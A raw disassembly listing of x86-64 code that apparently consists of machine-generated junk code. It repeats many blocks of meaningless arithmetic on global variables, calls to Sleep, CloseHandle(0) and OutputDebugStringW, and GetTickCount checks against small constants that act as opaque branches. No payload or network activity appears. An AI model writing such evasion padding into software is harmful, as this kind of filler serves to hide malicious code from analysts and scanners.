mov dword [0x005ac68c], 0x2e
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x44
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x40
mov ecx, 0x25
call fcn.004098a0
sub dword [0x005ac698], eax
mov eax, dword [0x005ac690]
imul eax, eax, 0x3e
mov dword [0x005ac690], eax
mov ecx, 0x5b
call fcn.004098a0
add dword [0x005ac690], eax
mov ecx, 1
call sub.kernel32.dll_Sleep
mov ecx, 0x25
call fcn.004098a0
add dword [0x005ac698], eax
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 0x52
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x21a
jne 0x53f731
mov ecx, 0x26
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0xb
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x20
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x21
call fcn.004098a0
mov dword [0x005ac698], eax
add dword [0x005ac68c], 0x10
mov ecx, 0xa
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0x23
call fcn.004098a0
sub dword [0x005ac688], eax
mov eax, dword [0x005ac688]
imul eax, eax, 0x2b
mov dword [0x005ac688], eax
mov ecx, 0x31
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x33
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x25
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x10
jne 0x53f7e3
mov dword [0x005ac688], 0x49
mov dword [0x005ac68c], 0x10
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0xa
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x3d
mov ecx, 0x1b
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
mov ecx, 0x37
call fcn.004098a0
add dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x18
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
call sub.kernel32.dll_GetTickCount
add dword [0x005ac68c], 0x47
call sub.kernel32.dll_GetTickCount
mov ecx, 5
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2ef
jne 0x53f8b5
mov ecx, 0x5d
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x4e
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x4c
mov dword [0x005ac698], 8
mov ecx, 0x20
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x41
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x52
call fcn.004098a0
add dword [0x005ac688], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x12
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
mov ecx, 0x1b
call fcn.004098a0
sub dword [0x005ac690], eax
mov ecx, 0x39
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x20b
jne 0x53f971
mov dword [0x005ac688], 0x38
mov dword [0x005ac68c], 0x35
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0xb
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x60
mov ecx, 0x52
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 2
call sub.kernel32.dll_Sleep
mov ecx, 0xc
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 0x17
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x27
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x30
jne 0x53fa59
mov ecx, 0x3f
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x5d
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x14
mov ecx, 0x62
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0xb
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
mov ecx, 0x55
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 0x52
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x19
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
mov ecx, 0x5b
call fcn.004098a0
sub dword [0x005ac688], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x18
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1ee
jne 0x53faf4
mov ecx, 0x39
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x2d
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x54
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x5c
call fcn.004098a0
mov dword [0x005ac698], eax
add dword [0x005ac698], 0x62
mov ecx, 0x53
call fcn.004098a0
add dword [0x005ac694], eax
add dword [0x005ac690], 0x5a
mov ecx, 0x1d
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x5a
jne 0x53fbbd
mov dword [0x005ac688], 0x42
mov dword [0x005ac68c], 0x14
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x25
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x26
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x24
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x11
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0x53
call fcn.004098a0
add dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x18
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x60
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x322
jne 0x53fc3a
mov dword [0x005ac688], 0x5a
mov dword [0x005ac68c], 0x2d
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x3c
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x1f
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x35
call fcn.004098a0
sub dword [0x005ac690], eax
add dword [0x005ac690], 0xe
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
add dword [0x005ac694], 0x59
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2cc
jne 0x53fcda
mov ecx, 0x5b
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x25
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x31
mov dword [0x005ac698], 0x13
mov ecx, 0x1b
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 2
call sub.kernel32.dll_Sleep
mov eax, dword [0x005ac68c]
imul eax, eax, 0x4c
mov dword [0x005ac68c], eax
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov eax, dword [0x005ac68c]
shl eax, 4
mov dword [0x005ac68c], eax
mov ecx, 5
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x63
jne 0x53fd71
mov ecx, 0x52
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x4b
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 1
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x51
mov ecx, 0x63
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 0x47
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac694]
imul eax, eax, 0x58
mov dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x321
jne 0x53fe0a
mov dword [0x005ac688], 0x23
mov ecx, 0x27
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x60
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x52
mov ecx, 0xf
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x005ac68c]
imul eax, eax, 0x2c
mov dword [0x005ac68c], eax
mov ecx, 4
call sub.kernel32.dll_Sleep
sub dword [0x005ac68c], 0x43
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2ad
jne 0x53fecd
mov ecx, 0x10
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 4
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x40
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x44
mov ecx, 0xb
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x59
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x1d
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x3a
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x169
jne 0x53ff6d
mov ecx, 0xb
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x18
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x33
mov ecx, 0x10
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0xe
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x17
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x35
call fcn.004098a0
add dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x280
jne 0x540047
mov ecx, 0x52
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x54
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x33
mov ecx, 0x12
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x39
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x18
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 0x26
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
mov ecx, 0x5b
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
mov ecx, 0x5c
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2f6
jne 0x5400db
mov dword [0x005ac688], 0x12
mov ecx, 0x5e
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5c
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x4b
mov ecx, 0x61
call fcn.004098a0
add dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0xf
call fcn.004098a0
add dword [0x005ac688], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
add dword [0x005ac690], 0x13
mov ecx, 0xc
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x17e
jne 0x54015c
mov dword [0x005ac688], 0x30
mov ecx, 3
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x4a
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x20
call fcn.004098a0
mov dword [0x005ac698], eax
sub dword [0x005ac698], 0x5f
mov ecx, 0x46
call fcn.004098a0
sub dword [0x005ac688], eax
sub dword [0x005ac688], 0x10
mov ecx, 0x1f
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x279
jne 0x540238
mov dword [0x005ac688], 0x25
mov dword [0x005ac68c], 0x39
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x57
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x18
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x59
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
sub dword [0x005ac698], 0x23
mov eax, dword [0x005ac688]
imul eax, eax, 0x53
mov dword [0x005ac688], eax
mov ecx, 0x16
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 9
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov eax, dword [0x005ac688]
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
mov dword [0x005ac688], eax
mov ecx, 0x32
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1c9
jne 0x540317
mov ecx, 0x4f
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0xb
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x57
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x57
mov ecx, 0x29
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 4
call sub.kernel32.dll_Sleep
mov ecx, 0x49
call fcn.004098a0
sub dword [0x005ac694], eax
mov ecx, 0x39
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 0x3d
call fcn.004098a0
sub dword [0x005ac698], eax
mov ecx, 0x2a
call fcn.004098a0
sub dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x5d
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x35b
jne 0x5403d7
mov dword [0x005ac688], 0x29
mov dword [0x005ac68c], 0x3e
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x23
mov dword [0x005ac698], 0x10
mov ecx, 0x3b
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 7
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 0x15
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 0x53
call fcn.004098a0
add dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 1
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
mov ecx, 0x2b
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1b2
jne 0x5404d4
mov ecx, 0x36
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x50
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x11
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x23
sub dword [0x005ac688], 0x2d
mov ecx, 1
call sub.kernel32.dll_Sleep
mov ecx, 0x25
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x52
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
mov ecx, 2
call sub.kernel32.dll_Sleep
mov eax, dword [0x005ac688]
imul eax, eax, 0x54
mov dword [0x005ac688], eax
mov ecx, 0x26
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x1f
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 2
call sub.kernel32.dll_Sleep
mov ecx, 0x18
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 3
jne 0x540593
mov ecx, 0x5c
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x19
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x19
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x3a
add dword [0x005ac694], 0x60
add dword [0x005ac688], 5
mov ecx, 0x4f
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
mov eax, dword [0x005ac68c]
imul eax, eax, 0x3d
mov dword [0x005ac68c], eax
mov ecx, 0x62
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
mov ecx, 2
call sub.kernel32.dll_Sleep
mov ecx, 0x1e
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x270
jne 0x54063b
mov ecx, 0x60
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x1f
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x51
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x17
call fcn.004098a0
mov dword [0x005ac698], eax
sub dword [0x005ac698], 9
sub dword [0x005ac68c], 0x39
mov ecx, 0x45
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
mov ecx, 0x25
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
mov ecx, 0x4c
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x332
jne 0x5406ee
mov dword [0x005ac688], 0x15
mov ecx, 7
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x1d
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x10
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x59
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x11
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x23
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x283
jne 0x5407ab
mov ecx, 1
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x58
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x48
mov ecx, 0x3f
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x46
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x21
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
mov ecx, 0x4b
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
mov ecx, 0x24
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 0x5d
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x27d
jne 0x540844
mov dword [0x005ac688], 0x11
mov ecx, 0x5b
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x45
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x18
call fcn.004098a0
mov dword [0x005ac698], eax
sub dword [0x005ac690], 0x54
sub dword [0x005ac694], 0x4b
add dword [0x005ac690], 0x36
call sub.kernel32.dll_GetTickCount
mov ecx, 0xe
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2cb
jne 0x540923
mov dword [0x005ac688], 0x19
mov dword [0x005ac68c], 0x4f
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0xd
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 1
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x18
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 1
call sub.kernel32.dll_Sleep
sub dword [0x005ac690], 0x1d
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
add dword [0x005ac688], 0x46
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x2b
call fcn.004098a0
add dword [0x005ac698], eax
mov ecx, 0x33
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 0x2c
call fcn.004098a0
sub dword [0x005ac698], eax
mov ecx, 0x2f
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2c9
jne 0x5409c8
mov dword [0x005ac688], 0x23
mov dword [0x005ac68c], 7
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x20
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x1b
mov ecx, 0x5e
call fcn.004098a0
add dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x34
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 0x50
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 0x1c
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x14b
jne 0x540ab9
mov ecx, 0x4b
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0xf
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x29
mov ecx, 0x5f
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x5e
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x26
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x005ac688]
imul eax, eax, 0x33
mov dword [0x005ac688], eax
mov ecx, 0x21
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x52
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
mov ecx, 0x4c
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x21c
jne 0x540b96
mov dword [0x005ac688], 0x5c
mov dword [0x005ac68c], 0x5d
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x22
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x63
mov eax, dword [0x005ac698]
imul eax, eax, 0x42
mov dword [0x005ac698], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
sub dword [0x005ac68c], 0x11
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov eax, dword [0x005ac68c]
imul eax, eax, 0x13
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
imul eax, eax, 0x38
mov dword [0x005ac688], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov eax, dword [0x005ac690]
imul eax, eax, 0x2e
mov dword [0x005ac690], eax
mov ecx, 6
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x5d
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1f5
jne 0x540c79
mov ecx, 0x56
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 8
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5c
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x4f
mov eax, dword [0x005ac694]
imul eax, eax, 0x1d
mov dword [0x005ac694], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x26
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x53
call fcn.004098a0
sub dword [0x005ac690], eax
mov ecx, 0x20
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov eax, dword [0x005ac694]
shl eax, 6
mov dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x11
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
call sub.kernel32.dll_GetTickCount
cmp eax, 0xd9
jne 0x540d5b
mov dword [0x005ac688], 0x2a
mov dword [0x005ac68c], 0x29
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x39
mov dword [0x005ac698], 0x21
mov ecx, 0x38
call fcn.004098a0
sub dword [0x005ac68c], eax
sub dword [0x005ac690], 0x4e
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
sub dword [0x005ac694], 0x43
call sub.kernel32.dll_GetTickCount
mov ecx, 2
call fcn.004098a0
add dword [0x005ac694], eax
mov ecx, 0xc
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x10
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
